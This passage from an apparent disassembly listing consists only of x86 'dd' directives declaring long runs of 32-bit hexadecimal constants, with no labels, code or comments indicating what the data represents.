		dd 53F3DFDBh, 6B5D3Ah, 923DB8BAh, 0CC0635h, 70976FBEh
		dd 43ABBFCh, 0D2FF6903h, 0A832D589h, 60541E5Bh,	2DAB6C6Dh
		dd 0CA00581Ch, 0CF9D1375h, 101345Eh, 0BF63F9F4h, 0C09095F3h
		dd 2E17AF69h, 1400DBB5h, 398DA1A6h, 0FE6C0F80h,	0FF40407Bh
		dd 0F49A6732h, 6808BC59h, 745504E8h, 98007B98h,	93D35071h
		dd 0D1890Bh, 1BFE77A5h,	10CADEC3h, 5BFA5A07h, 548398BDh
		dd 0A0DCC312h, 3E71AF15h, 7F3DAA65h, 7393E603h,	4C90D757h
		dd 0FB0FD64Eh, 9DB95574h, 0B7D06103h, 0A5ADF0E7h, 0F5D31FFDh
		dd 6500098h, 0A459E295h, 0C000F9F0h, 73DEF3D4h,	1AB04F0h
		dd 0DCC22362h, 0BF69E0D8h, 0A49B1FB8h, 332F38C0h, 5BA0C57h
		dd 0C7ECFA74h, 92C5C1A9h, 0BC288845h, 9FA790A5h, 3F21EF51h
		dd 90AFB108h, 90E2C8ABh, 0A062840Bh, 0A942FF48h, 212724E5h
		dd 6312052Bh, 40FAC110h, 228473C8h, 174237BBh, 21FDD911h
		dd 901084Fh, 0C88E1B90h, 89B79D9h, 0C5314525h, 1E14118Ah
		dd 84B72990h, 0D3483084h, 2413F242h, 9A8F2183h,	0A080D817h
		dd 695A17EDh, 0F1991F10h, 4FDF0018h, 0F2CE2AA1h, 0B31A1500h
		dd 0DBAAF0F3h, 900D006Ch, 555C8A4Ah, 0E800A79Ah, 34C3A991h
		dd 0E6BE592Dh, 233C006Ah, 0A601B817h, 0E003961h, 0CEACCB91h
		dd 36276Ch, 2420DEB3h, 0BC29D65Ah, 30E47707h, 6DE0E5C8h
		dd 1F094AA2h, 0DF19FC4Dh, 97584075h, 87EF72EDh,	5B513600h
		dd 0C1F082B6h, 0E3E40070h, 13DF09A6h, 15020361h, 0C9BEED29h
		dd 0E08848EAh, 0D99C00D3h, 6F17C1E3h, 6500E84Ch, 52718AE5h
		dd 701DA1D2h, 0CFFF00D5h, 330728F6h, 0AB1C9654h, 66808135h
		dd 4985977Fh, 0E822CCCh, 25180066h, 2C301D92h, 0E74AC700h
		dd 56CCBF81h, 87C9006Eh, 0AD2D1A1h, 0AD2C3F53h,	0DF01B076h
		dd 0E86715B4h, 16E143F0h, 10662BFh, 0C47685E9h,	8DD2D898h
		dd 0A011661Dh, 0DA64DE00h, 573A36h, 0B40F43E0h,	0E1D560E4h
		dd 136894A0h, 0B7006CF2h
		dd 81DDDEA8h, 11CEBFCh,	0D784D154h, 0CCB5D2DAh,	0A0A10356h
		dd 0F7B0C143h, 25B12EC0h, 0FCA0CF1Fh, 308BAE40h, 0F0CD0DFDh
		dd 4A140024h, 72E04690h, 50FC36C1h, 5C4B3Bh, 0ECFD5FEh
		dd 4C81D9h, 9B910958h, 0C4AD89D8h, 48AF853Ah, 1786032Bh
		dd 88EADC51h, 0E6D78367h, 372B1CE5h, 5C57C013h,	9E4A2FBAh
		dd 4E10C900h, 1955CCB2h, 949F508Ch, 0D3770174h,	0E2F9454Dh
		dd 0CE1E783h, 5888E4A5h, 0FF866112h, 54003C16h,	4E0E376Fh
		dd 0FE6407D4h, 908DC5E2h, 5B45317Ah, 0BCD14B00h, 74567871h
		dd 0EE51005Dh, 7029203Ch, 6A000A97h, 2469350Dh,	74528E1h
		dd 20F7EC07h, 4B490015h, 6122670h, 5C0E588Bh, 748404Eh
		dd 71FFF895h, 0D8B70913h, 200E0D43h, 497CC860h,	0BC0EA13Bh
		dd 0C0CCC045h, 0B8961E5h, 0F3F00C9h, 0D9A45FB1h, 130ECE9Ch
		dd 0C04CB2D7h, 0FD551198h, 875D0956h, 74C9219Bh, 0B3A0246Dh
		dd 0A6D28802h, 4867E7EBh, 36A3500h, 5F2F599Ch, 43C822CFh
		dd 2D05F55Eh, 9057EF94h, 7299FC40h, 1CA4EAC2h, 61D0E10h
		dd 0A01E7FB2h, 0F1D5C109h, 50700072h, 64831h, 0EFD67C7Eh
		dd 4598DA4Ch, 111DCD00h, 0A8608371h, 5573003Eh,	0AE6512D0h
		dd 22010E47h, 84B227E2h, 1AF4318Fh, 6570092h, 60F039E7h
		dd 5200FAEAh, 2318D4D9h, 144B3Ah, 0A9F26B29h, 0B24DFDCAh
		dd 74C48F04h, 8FC28Ch, 0B03B51A2h, 0F4DC7C65h, 765000B1h
		dd 5CCD1936h, 9B009F05h, 0D6EA4AF1h, 0E9D902Dh,	816D3374h
		dd 5188EB40h, 0A700A84Dh, 0F4ACDE2Bh, 956979h, 0C6E111D2h
		dd 13FC4AFBh, 15C2DC0Eh, 0A233C040h, 0C227Ch, 3DAEB742h
		dd 928FDF21h, 0F51FA600h, 6A1461A4h, 7DCCEDCAh,	0B72A3E35h
		dd 551C7180h, 3041BAB6h, 0A07B2100h, 474CEE3Eh,	0DFD70EBCh
		dd 2900DA82h, 1D40BEC5h, 7E679A00h, 127672A3h, 152B3D1Fh
		dd 0A23E470Eh, 3C00F854h, 7904DA59h, 1217A424h,	1C46B290h
		dd 988EE931h, 2F0A01CAh, 0CE231620h, 3C09D091h,	9EC1AE00h
		dd 0AA8535E6h, 3EB70017h, 0AFB47563h, 97002283h, 249C0F20h
		dd 0ADB0F6h, 2D73054Dh,	821291F7h, 0A76DFF13h, 5A96DB00h
		dd 745EE11Fh, 0CE57006Bh, 0DE604265h, 0D40ECBD6h, 6C2B2F09h
		dd 3F3CF29Eh, 8C8711D8h, 302582E9h, 0F6A323CDh,	43679200h
		dd 0AD361044h, 98FD0CF4h, 11D0B9ACh, 0FF17B100h, 3D7196A9h
		dd 204400CFh, 84BE1437h, 0E600D8F0h, 0BCDF0363h, 0DA98DDh
		dd 0FEF70E97h, 54350B47h, 3430C3Dh, 421BEF4Dh, 9D29A06Fh
		dd 4CF57E90h, 0B680E402h, 64D1E6D3h, 88ECEB28h,	0D8F11713h
		dd 0FFB00803h, 2DC0D4FDh, 0A0783C79h, 0C0294080h, 0AEEF928h
		dd 6D00D674h, 32364FEh,	972897Ah, 860B6AFCh, 0A4194E80h
		dd 0B100C2F8h, 0F618BAEDh, 30244812h, 0A2D8A155h, 0FD008742h
		dd 34587C6Dh, 0F2E6F72h, 6122F403h, 5381FE9Dh, 35A8195Dh
		dd 0CBCFC8Fh, 368ED001h, 0A2B98517h, 99E2DCh, 0D1B39081h
		dd 0E57A088Bh, 0D33F416h, 1ECA000h, 0FF3BC61h, 15ED4779h
		dd 0C0434947h, 0DEA68A08h, 0E800D5F8h, 5FB30BF1h, 364E490h
		dd 0D4F4750Fh, 55D8D24Eh, 0CF00A7B8h, 885A45Dh,	123428CDh
		dd 0BC1981h, 0BED97FA8h, 2B02F412h, 0C643ECD7h,	1F4C4004h
		dd 787001Eh, 21C9C01Ah,	0CF000877h, 0BE2712BFh,	28A05FEh
		dd 998F23A3h, 4CE8882Bh, 7001EC3Ah, 41B857AAh, 8E3073F9h
		dd 7EAE0B89h, 50801927h, 607AF1A8h, 0B3D53900h,	5DB91434h
		dd 22710062h, 0C449976Ah, 410070B5h, 6EDDF0CCh,	0E61182h
		dd 8F65EAB7h, 8913D618h, 80751C03h, 90610770h, 35AF930h
		dd 0DC3B48D7h, 0FCE8F5E3h, 0D800EE92h, 0DF7EEF6Ch, 2D9A56Fh
		dd 6018CFCDh, 5E407A90h, 0D032F39h, 56F73E99h, 3F8AC058h
		dd 26100ECh, 204390AFh,	47000C79h, 95C32DAAh, 36619ABh
		dd 1C9CCF0Ah, 0C2C0F6DBh, 14286436h, 0BE1EFC0Ch, 3FC74D4Fh
		dd 2300DBB1h, 7CF44AF8h, 9D500006h, 790CE6FDh, 0CC3FC502h
		dd 0A4358073h, 26ECD032h, 0F400910Ah, 9F610DE7h, 770C70h
		dd 479330D6h, 0D8C6B7F4h, 0BB8E8F07h, 3350FE25h, 1F7FB84Ah
		dd 81F7CDAAh, 0FDDE52DDh, 9709F45Fh, 0E4B1BE60h, 3933979h
		dd 46FFF1CBh, 0C10003EEh, 169E4290h, 0E40ADA1h,	88CEE3EAh
		dd 0E63CAC20h, 56E4BC58h, 901BAB00h, 0E5F7600Fh, 0A08D18EDh
		dd 149B0B7h, 354F451Ch,	0A17C7B3Fh, 0CC1C223Ch,	0A4202CC8h
		dd 0A158A7h, 0D68487C7h, 5BD9F4B4h, 789C4A00h, 0A1C224CBh
		dd 0A9E02892h, 0DFCD18EAh, 0F5C8B837h, 85F0FD3Eh, 0E10A632Dh
		dd 0E0189BC3h, 30CB9AC4h, 15C805F7h, 0E338D74Fh, 53B41654h
		dd 177EC00h, 0F839AF88h, 990B065Bh, 0B9CCC2C9h,	0E9F5B512h
		dd 89C5B40Fh, 89B440D6h, 0AAE6005Fh, 0D3668AFCh, 4900A025h
		dd 1274CA38h, 1D91D635h, 82E9F76Bh, 0CE5B9DFAh,	2026450h
		dd 0C6B356B4h, 999AC39Bh, 0DC40A052h, 0BFE0EDh,	2DC4FE57h
		dd 0FA8A6670h, 4ED758h,	0DC9D61ABh, 260E1679h, 1416C59h
		dd 386657CDh, 8EDC30BDh, 701D9C19h, 12C0D931h, 6020004Dh
		dd 461EF97Fh, 4E0FFA4Ah, 0A02AAF97h, 6A3B84DEh,	0ECC33019h
		dd 454E76D9h, 0EA4B6813h, 0A035C40Eh, 0A6E796FAh, 0A6F0009h
		dd 4C4182FEh, 7C00FC14h, 14E6CFBh, 0AC0B3Bh, 7750123Ah
		dd 6E83C24Dh, 0A26A1A24h, 4E38EF00h, 0E48FCF8Dh, 760D397Bh
		dd 51F811E0h, 0F00033AEh, 3EBE2BF9h, 55661Eh, 0F3701F93h
		dd 0B78F9BEEh, 51D3900h, 20BED147h, 0B1100068h,	77AE8614h
		dd 1100C7E6h, 0F28F50B4h, 0FDDA7CFh, 0F371DA81h, 0E29F7080h
		dd 0F000102Bh, 992C3D26h, 0A0A4410Dh, 1AA94C8h,	0A93A5950h
		dd 41D2C6B6h, 4018EEB5h, 5EE05480h, 3D470B01h, 33FA6ADEh
		dd 4697064h, 0CAB38E38h, 0B9508012h, 0A27C1C5Ah, 0C44DD81Ch
		dd 0B62AC240h, 3B71D6Ah, 6F62E43Bh, 0E79888E1h,	4F13E542h
		dd 74005E0Ah, 8DCB94A0h, 6C761Bh, 856B1C5Dh, 0E72C8767h
		dd 9DC0BE12h, 5846E0C0h, 8177B1h, 0C54C3DABh, 571B9853h
		dd 0C3FA6903h, 0A248E4B5h, 1EACE0F4h, 0D77900A3h, 0F7B68FC0h
		dd 0CF6B2E8h, 607F9033h, 0CEF0C86Ch, 0A17D0089h, 9EDCE33Bh
		dd 440134D8h, 0B8EFC829h, 0FFE0338Eh, 75561868h, 450F387Eh
		dd 646AC600h, 4EF6E641h, 3F9D007Ch, 0ABA8D066h,	0A50017FCh
		dd 3A295AFBh, 27C935DBh, 0B480FA75h, 0F3E61B9h,	0C589C200h
		dd 0A0CEEA7h, 46A40258h, 0AF854CA6h, 0FFE48840h, 6D9C8707h
		dd 0F74082CDh, 988ACF8h, 0F6A40221h, 862B7CA1h,	60542839h
		dd 12135139h, 3C720FDDh, 204C6CFh, 0C868E035h, 42D8F984h
		dd 0D5450392h, 223C2FB7h, 3073EFD1h, 67007A44h,	0F25CD250h
		dd 0A2D836h, 1842E834h,	0B896BD61h, 2A1E53ECh, 7100196Ch
		dd 0D4269548h, 34F01C5Eh, 0C0BB8175h, 24AAE23Fh, 8B5031FCh
		dd 889673C9h, 0E049C60Eh, 961D91D0h, 192A60FFh,	44F926E8h
		dd 8E1A2B0Fh, 7972A290h, 0EB346069h, 23B7035Dh,	0D428B07h
		dd 9034A0BFh, 0C8F63626h, 0E34E2E0Ch, 0B6105Ch,	48134194h
		dd 81BCAE55h, 80678A3Bh, 89EF44F6h, 3A75B4h, 0AA79D5FBh
		dd 6B2A3BD9h, 55E76800h, 0BB4EB9B5h, 78F96F52h,	0DB2EFEA0h
		dd 27E4C88Ch, 0EBF7CE13h, 4F7F1800h, 0A8F03848h, 547EB1B0h
		dd 18C6F4F6h, 0D9880525h, 490F2401h, 0C95645CFh, 0A038A02Fh
		dd 0EB5B8Ch, 6C39E3A5h,	0B4F3B833h, 0ECB9CB00h,	0E4A6F04h
		dd 7816F6FFh, 2AE90E9Bh
		dd 550038D7h, 6ED4571Ch, 8E854700h, 4376DEBAh, 23A024B3h
		dd 66A51C5Dh, 79F081D0h, 2472248Fh, 4E20EC08h, 4522003Fh
		dd 0BB599607h, 1807EA91h, 0FB41320Dh, 0AE82E290h, 5225001Ch
		dd 30FEA1A8h, 0E400C7D3h, 3CC1F1B9h, 0D7B760h, 0ED508D22h
		dd 0CE4B94A9h, 4F006EE6h, 0BB5F319Ah, 0B75E17h,	497DCC2Ch
		dd 16054433h, 0E8595A60h, 836061h, 9B7540FFh, 0F28D9258h
		dd 4B1E2700h, 9663BCEDh, 0D27A18D7h, 0E7FF6016h, 0B61F3F09h
		dd 0BE0F0079h, 9D5A9A6h, 0C7494420h, 1DFEEC80h,	9B00665Ah
		dd 1630973Ah, 77A83DCh,	0BCF7A55Fh, 8A8CD3ACh, 40320BF0h
		dd 2B62EF00h, 740D772Fh, 1F7183Dh, 2A6DD0FFh, 0FEE3B400h
		dd 68DDABBCh, 47550073h, 16347A4Dh, 3FF69B19h, 65D92303h
		dd 0B976747Fh, 41900B2Dh, 0A8F6C31Bh, 0BDD18864h, 3ACA61Ah
		dd 5DD84910h, 0D0009FF9h, 0ED6E9913h, 986AF7h, 3557C5AAh
		dd 74037AF2h, 1285F800h, 272A55C6h, 402009Dh, 7A175ECAh
		dd 530720C5h, 0C981A126h, 0B7FAB530h, 91690035h, 0C2E0E529h
		dd 0A300F811h, 7613BBAFh, 175F2EF6h, 192A886h, 89092AB9h
		dd 9121DC90h, 9B461C00h, 0AE731836h, 9FFADCh, 51064467h
		dd 0D0119D63h, 4B70CC00h, 365CEB73h, 27CA24B1h,	797E0053h
		dd 95932C12h, 9EB4E000h, 300ABB6Dh, 90EC033Bh, 3D1D7F96h
		dd 2BDFDCC8h, 7E8DF500h, 0CF5D7AAFh, 90C87046h,	0A5D1004Ah
		dd 8758E2D9h, 5F3BBE6Fh, 19780716h, 2DE0E53Bh, 703EA1Eh
		dd 57361252h, 260830B9h, 6400A435h, 8455AD96h, 6319D46h
		dd 716E0AA8h, 0CE05A0A5h, 63EEAE72h, 5625FD00h,	0DEE2DAh
		dd 4EB0D8C9h, 6CF4CFA0h, 7C57C80Eh, 569BC064h, 3335C0h
		dd 3AC76748h, 0FF6FBFA5h, 0C246DC00h, 2C22393Dh, 0B21B0075h
		dd 0F96763A7h, 0D004C055h, 967D4FD9h, 59E64480h, 0AD292354h
		dd 0DB309h, 0BB51A970h,	0CC825CC5h, 40F1E812h, 67C04F0Ch
		dd 0B35045BCh, 18074781h, 0DB0289A2h, 1D4480EFh, 0BF14F7h
		dd 388EDD63h, 3DB77D0Ah, 36A3E809h, 0FA000A6h, 0AB6AEDh
		dd 52477992h, 0F93FAF99h, 505B5733h, 88B5A078h,	6FC612EEh
		dd 0AE5440D4h, 0BEC898D3h, 97B8D201h, 6392D0CAh, 92486760h
		dd 778700C4h, 3E9BBC4Bh, 0C400166Dh, 0B8F4D746h, 6098B696h
		dd 4036045h, 0FA0934CEh, 835BB7E3h, 0B3FF691Dh,	3BA009A7h
		dd 0B4203635h, 0A88CE657h, 532ECD00h, 2D5A8A7Bh, 6FE00B4h
		dd 9CE15B31h, 96000D81h, 0CC27AAA2h, 0B2282FDh,	45E77252h
		dd 0FF6E1100h, 0B400EBBBh, 89626777h, 2ED60F43h, 49EE5Bh
		dd 7F97FD3h, 0A006CF0h,	707EDBA4h, 0D51459h, 896E96BEh
		dd 3D803523h, 0E7A21900h, 6B7DF41Dh, 4E4C049Bh,	0C08AFD78h
		dd 94DEEDCEh, 13B42549h, 0EB03B2F3h, 0AFF255D5h, 2FFA26A0h
		dd 3CDA00AFh, 650BB4EEh, 0CAFA96BBh, 67875B00h,	0F8B34D10h
		dd 0D5E6018Ah, 0A1911353h, 0AA57C001h, 0A2666B01h, 96127C8Eh
		dd 26D08520h, 34E049h, 0DEA83DA7h, 24003C45h, 5BE2C844h
		dd 793226h, 0F974B76h, 0C6AAE7FEh, 0CAD83B54h, 0A0FAA416h
		dd 9AF82801h, 6471EC64h, 76AA6F8h, 4047B2B0h, 4B9EA005h
		dd 0E4E4CA10h, 5962B707h, 52B327A4h, 0DD348030h, 24F100CFh
		dd 0D226403Ah, 38000560h, 4BC3F80Fh, 28E54D18h,	0F0B765h
		dd 6A5C19FDh, 9F8DD8ACh, 0E3FE5600h, 55BAE441h,	0DEAF007Dh
		dd 6F22D07h, 87004660h,	97B57BADh, 3298A9Ah, 619E165Eh
		dd 6DB1AA32h, 0E0792098h, 1F0A409h, 70B420F8h, 7C6221F3h
		dd 36C100B9h, 425EBCE0h, 350E9C64h, 0E002EC22h,	61B1DA04h
		dd 6AEF003Fh, 0F36CE31Dh, 1F00ACC9h, 121FAEAh, 67BB4Ch
		dd 0F8F435CAh, 5328C5A9h, 1223D100h, 0E50E913Fh, 57E6024Eh
		dd 0CC069868h, 0C0DCC884h, 0ECD30718h, 36555D00h, 0DBF01CD6h
		dd 8CCD0045h, 5B5804DEh, 0E032ECAh, 0CB618815h,	0FBD1D0A4h
		dd 0FE9C00CDh, 0BA8F0473h, 65011EE0h, 0A017AF2Dh, 0BDE0BCD4h
		dd 0E36E00B4h, 48AE0F98h, 6609598Dh, 8AB381h, 85267B80h
		dd 0E42112F7h, 455C0074h, 759106D6h, 0B29BB00Eh, 0FD098056h
		dd 0AE7DBCh, 0CE70C6F0h, 4CF8409Fh, 0C700C4ECh,	130B1EF9h
		dd 745B81Ah, 0E1086C47h, 24443091h, 0C10023A7h,	34313C35h
		dd 13D5584Dh, 0D22FD9h,	0D0EBB58Eh, 3E00AFFFh, 9572FBE5h
		dd 381BF6F7h, 2873177h,	80BB5EBEh, 85B4A7AAh, 92481100h
		dd 0E5CB9B5Fh, 3D89876h, 0C16A8765h, 0D3A0D115h, 0BEECB99Ah
		dd 8D9EF800h, 562F11FDh, 5BDA0065h, 1436B0E6h, 2A003161h
		dd 421E720Ch, 0FEBEA022h, 0D79059h, 2CF47603h, 0B00F5452h
		dd 284DD40Fh, 8A5564DDh, 0C6AD5080h, 1D52908Bh,	0C04FFDC8h
		dd 0D4725411h, 180006D7h, 4C77CE9Fh, 497FB602h,	30004C83h
		dd 599B3127h, 561F49EEh, 8D134292h, 0BC12E01Dh,	7A605002h
		dd 0B22E1657h, 2B001099h, 0A044E1C4h, 25C30022h, 742DB31Ch
		dd 9A000BEEh, 0D986BA62h, 101731h, 6F99B955h, 73E6C3C5h
		dd 0E07748h, 581FF0CFh,	3C69F1C9h, 1C007926h, 0E0CBA86h
		dd 0DB383EE0h, 892CF0AFh, 3D800873h, 114A5E04h,	0F2C47CDCh
		dd 1EDD0377h, 0EB08E114h, 32880D4h, 1000A98Eh, 94560106h
		dd 0FE476A88h, 0D221C348h, 8A0007C7h, 0D3D097BBh, 6F47DF6h
		dd 1F5A4F2Ah, 0C300A076h, 88FCC792h, 770CBADh, 0F37B1ED2h
		dd 0CC0530BAh, 0F60150E2h, 0EF15D148h, 4361F063h, 0DC04A841h
		dd 1F64A024h, 4FDD8DC2h, 809D5747h, 4CE6E575h, 7100B3C0h
		dd 0A5CD5686h, 261D06C9h, 0C2B980h, 0CBF8A663h,	0BB04C2A8h
		dd 0AE455DE5h, 0D71CA881h, 6C60BDF9h, 71E003E3h, 54FF659Dh
		dd 742A9A81h, 0DA7D78E4h, 0EC77E600h, 9E513A7Eh, 0DBFD0E0Ch
		dd 38809397h, 0B972C05Eh, 0E835A200h, 1D92033Ch, 0C3480088h
		dd 9B332026h, 460CDE16h, 585A0842h, 0EBA3F30h, 7076BCh
		dd 46D64740h, 57C33D9Eh, 744AC100h, 0F5EF45EAh,	0D3270142h
		dd 83AD53DCh, 0C865208Ch, 1270DE00h, 314179ACh,	36F50172h
		dd 18442813h, 7782830h,	89056A2h, 24946030h, 7D7C2C0Bh
		dd 0DFAE00B0h, 0A83685D5h, 34FB082Eh, 3FACC081h, 16809B41h
		dd 0EEB6CE4Fh, 4AF81F40h, 2D02C500h, 0A166D620h, 0FD670047h
		dd 0F9244F55h, 7A007C72h, 0BC11D444h, 3ABACF6h,	53D3DC97h
		dd 0E087236Bh, 61B9783Ah, 55D280A0h, 4F8D5600h,	8809E3B4h
		dd 149060h, 25CBF42Eh, 15BBCC07h, 0A7720400h, 850253E4h
		dd 0C12B0048h, 8A1119EAh, 577DAE66h, 0CF37E700h, 0A994225h
		dd 7DBD00CEh, 78241967h, 0F2741AC6h, 0D9EEE100h, 3B5CC91Bh
		dd 75F9004Eh, 95E7032h,	6000A544h, 0DBC70BBDh, 0C191C9h
		dd 0AD3F6F8Ch, 582AF28h, 0CCD839h, 519D2D06h, 5B7EEAh
		dd 4A9979F5h, 0F3D92569h, 16030290h, 0A5AADEF6h, 0ECE80059h
		dd 0E1DA02DDh, 7700F40Fh, 0F2FAB134h, 0BD2E9h, 0CE01E725h
		dd 4EB9E469h, 8D0027F2h, 0A896E13Fh, 3CCC75EFh,	30809C5Ah
		dd 9E2534B6h, 0F4A135BAh, 5F0CF848h, 8CF5B300h,	99FC1586h
		dd 0E1B80055h, 645D3012h, 1C00B6F1h, 46E6A195h,	37BF875h
		dd 0AE43CA70h, 33A01159h, 0B100BAAFh, 8BF64D68h, 0E376F23h
		dd 59919738h, 8962658Fh, 84C0CE78h, 6A00A78Bh, 0FD880532h
		dd 4CD84E0Bh, 151EFC61h, 0AD404065h, 0D5277D5Ah, 0E368B50Ch
		dd 9851DCE9h, 3F943B5Ah, 839F30B9h, 2F9FD7Ah, 2226BEE0h
		dd 9880641Dh, 82AA75A4h
		dd 0BCE71901h, 0C209ABDCh, 0B33AD0FFh, 0E91E00B9h, 0B19C2EB6h
		dd 5F000736h, 8F25A795h, 0BACA5790h, 28190128h,	6629AC7Eh
		dd 709850FFh, 0B312E984h, 0A087B8B0h, 14C66CD0h, 0D77B07C9h
		dd 0DF5699C1h, 6AAB22C0h, 0EF137F49h, 68608DBDh, 995303h
		dd 0A4AA5264h, 483CAF6Eh, 0BA43F500h, 0E81C6BE6h, 6F1D02CCh
		dd 7484DD75h, 615B99C0h, 33BC6A50h, 5DE2D000h, 9DE7882Eh
		dd 352B00DEh, 6A216669h, 901FEA1h, 5BB2D22Ch, 7F601F9Bh
		dd 9A2400EFh, 0E7272938h, 0CB303978h, 7C531814h, 45DCEDE0h
		dd 36CDFDB8h, 0A100782Ch, 0C1215182h, 0ED3C4AF8h, 6620AE0h
		dd 0F089B4C9h, 0E3C00F9h, 3F80C09Bh, 0DE801507h, 181736FDh
		dd 0C4A0A50Bh, 200B62Fh, 139C92FBh, 614314h, 9D8836C3h
		dd 396BD230h, 0BA7A71E0h, 280712FEh, 0B5F5D884h, 0B6206089h
		dd 7A86045Ch, 0A026A3C4h, 63008B40h, 120E54A2h,	907B559Dh
		dd 0F99FA90h, 0C458535Eh, 6DED88C3h, 0E685FAB0h, 0E2597A00h
		dd 69D598A1h, 609D5C8Bh, 0A995380Fh, 0D1F31AE0h, 0A1F22673h
		dd 6C96C900h, 300FFF4Bh, 8307071Ch, 70B8AF59h, 0AA3C103Dh
		dd 61601E60h, 71BDB33h,	352C6381h, 0C4B8F0BDh, 3C07BFF7h
		dd 0A4CCF85Fh, 0A8E3805Bh, 4A92AD14h, 38BC00F1h, 67964CD9h
		dd 74879D0Bh, 0DD18A048h, 3821418h, 0F769039Ch,	0D4E8C472h
		dd 0E80F190Fh, 0C0A24B77h, 1A3B4A9Fh, 582A004Dh, 5B248A05h
		dd 7312E0D5h, 5000C02Bh, 0B339C9DEh, 7FCF00AEh,	0D2CEF758h
		dd 0F30040E0h, 68BEF022h, 48879705h, 8200A702h,	370A9D85h
		dd 0EE033C4Dh, 0E2117035h, 92DE2658h, 913FCh, 0E7E9DCEFh
		dd 0DD0050B1h, 0DFD10F28h, 7D5F7C1h, 143CF8C3h,	0C25C00CAh
		dd 39038588h, 0BEFE40C8h, 6727A807h, 7D0C0929h,	6080C665h
		dd 0F406E12h, 82C5Ch, 977D7B4h,	35E2F9Bh, 0A296EC87h, 8000B8E5h
		dd 0C869E27Ch, 9F7E8Bh,	88A8F7F8h, 1E81766Eh, 0D3A97001h
		dd 2418EE1h, 85CC60h, 2C9BF311h, 0F8EC37FFh, 8C594E0Fh
		dd 0B4CFC57Ch, 2540941Ch, 33AF680Eh, 0DF0F028Dh, 549E55FCh
		dd 806E6541h, 8B6B9A78h, 3507B1h, 72265BC9h, 797CD377h
		dd 0CDAA7000h, 9F2C8A1Eh, 0E5360069h, 50667EE1h, 0EF00E023h
		dd 2025D592h, 9C433Ah, 5D84F9B4h, 79F42C01h, 3617180Eh
		dd 2DAE4095h, 0A14686h,	9A49E5F5h, 0C691812Ch, 0C0DF3F00h
		dd 4089BBF7h, 9FEE01F8h, 0FDA86495h, 8945050h, 0F5013D43h
		dd 0BC789C55h, 20307B17h, 5E320092h, 0B5A8E5CEh, 0DA1D8045h
		dd 0A440010Ch, 9735C139h, 0AB1F1F6Bh, 0CFDB8073h, 0E5654122h
		dd 0D567E00h, 231CC3BFh, 5078603Bh, 87B3F96Eh, 0B2D75203h
		dd 0A8321566h, 3017C1BFh, 4FA0091Bh, 0CA00107Fh, 5F132E0Fh
		dd 0C9A2EEh, 4A74A8EBh,	79667181h, 0FEF95601h, 9F8E292Fh
		dd 9C28D0DDh, 7151BA04h, 1054A2DEh, 431C1FDFh, 7280BC44h
		dd 4D824B25h, 27135458h, 18406CB4h, 0C9B36B50h,	0E6D00522h
		dd 0B0ECCEA2h, 8401FC30h, 0DAB1439Eh, 0ACF0AAE5h, 0E880B25Eh
		dd 401D607Ah, 34DE04CBh, 84504Ch, 4A204E32h, 7126E43Ch
		dd 0C5E7959h, 0B9BC5D55h, 5609759h, 4818C186h, 0FC09ECDh
		dd 61C00B9Fh, 0A2453F60h, 91CBEB17h, 53BF9403h,	181FC022h
		dd 13303001h, 6A996E49h, 674ED006h, 0ED1280Ch, 3FECA7B2h
		dd 148224E1h, 0E0972127h, 6405FA92h, 9E1A277h, 0A52AE480h
		dd 718F760Ch, 13CA7F8Ah, 4A777Eh, 9E5408D8h, 8CB0E2DAh
		dd 9B394518h, 0E04C61h,	6F425A49h, 0B53F8FABh, 0CB1E7009h
		dd 99EC2055h, 0B9E5E179h, 2E803FCCh, 2D6150A9h,	763052F0h
		dd 17BED8B9h, 0BA992C7Ah, 4BEF8090h, 2372F291h,	40CB3072h
		dd 60F00FAAh, 0CC8087DAh, 48E053F9h, 8D012E0Fh,	10F72301h
		dd 22C7E0F8h, 0FBC2E802h, 0D893DEE0h, 0D55A1898h, 33F579D4h
		dd 161B8F02h, 0C07D7AB7h, 19D2326h, 0F8660A85h,	0C22ECD24h
		dd 0D7183060h, 0C7CE2A00h, 575DB93Bh, 78F40FE3h, 5F97FA4Bh
		dd 3EB04088h, 461E8CA3h, 3FDD0309h, 50007724h, 0BA86A735h
		dd 0B2805201h, 42FD1DC0h, 13DB62C0h, 0C0730D3Ch, 0B788C597h
		dd 0BD16C7E2h, 0D08098E9h, 0A8C9A45Bh, 5D803F8h, 0B01D7749h
		dd 0B5CA0B6h, 67329C00h, 708D7E30h, 361B2DCEh, 2C4B2000h
		dd 1100D0ECh, 8F4EB815h, 5D0CEAh, 0E6A804B9h, 91EE31E4h
		dd 94667309h, 0FA9807D2h, 0C52BDCA1h, 75E45060h, 0A31F0128h
		dd 45E16879h, 93892015h, 804D3F3Dh, 1FC636A8h, 242852B7h
		dd 26F80F34h, 6CD560D8h, 0BF077C41h, 431B362h, 2F42DAC0h
		dd 92770B97h, 38010C7h,	0CF1D6958h, 122C3201h, 7BD001A1h
		dd 13F6E340h, 734C00C0h, 0A35A85FCh, 8D0AA776h,	8405E41Ah
		dd 20100F13h, 0ECFC0084h, 0C190E71Bh, 4EC62h, 0FB5A80BAh
		dd 1946CC77h, 76AA7A24h, 3F00382Ah, 0B6322138h,	14115492h
		dd 0BC956391h, 6D4E2700h, 0BFDD682Fh, 32316F61h, 19C4FA59h
		dd 93C7022Bh, 330C7B3Dh, 4BC94448h, 1F39EE1Dh, 0D77080ADh
		dd 6079EF70h, 90A17814h, 0B700A513h, 0C9F84DEDh, 58047Dh
		dd 2B57F4CDh, 97D9D46Ch, 96A35218h, 2441C92Ch, 84F559h
		dd 6945E8D3h, 0F10078C2h, 93716621h, 1C582FCBh,	13A5E9E4h
		dd 0B2B48039h, 0A061135Fh, 0C41A5598h, 260B89D0h, 9780D661h
		dd 6540029h, 24940579h,	0DC810202h, 0EAD61EECh,	5094A0F8h
		dd 4CBC967Ch, 257B7CE1h, 0E884C131h, 0D39B8279h, 4087C840h
		dd 0F8FF78CEh, 1D87561h, 1EF05A83h, 74046589h, 4B09E3C4h
		dd 987B589Dh, 0B870DE58h, 7ED60B91h, 34E02BD9h,	1116BB5Eh
		dd 64D1FC67h, 3078DD20h, 0A41811h, 2E4E9F7Bh, 3603E33h
		dd 9E91E406h, 0EEB0F556h, 3C5C226Dh, 0B16B01C3h, 0DBBFD93Ah
		dd 0EE4037E8h, 0C97B0013h, 99B7F53Fh, 4312E3C2h, 7C00D286h
		dd 91D08A75h, 0FE589D2Bh, 0C22F3C00h, 42BD2737h, 86E800D9h
		dd 184BCF53h, 80093828h, 7E5EE7Ah, 44804CF4h, 0CEB74F7h
		dd 0C871E293h, 0DC0ED618h, 0E5CBD76h, 0F130543h, 67A3D840h
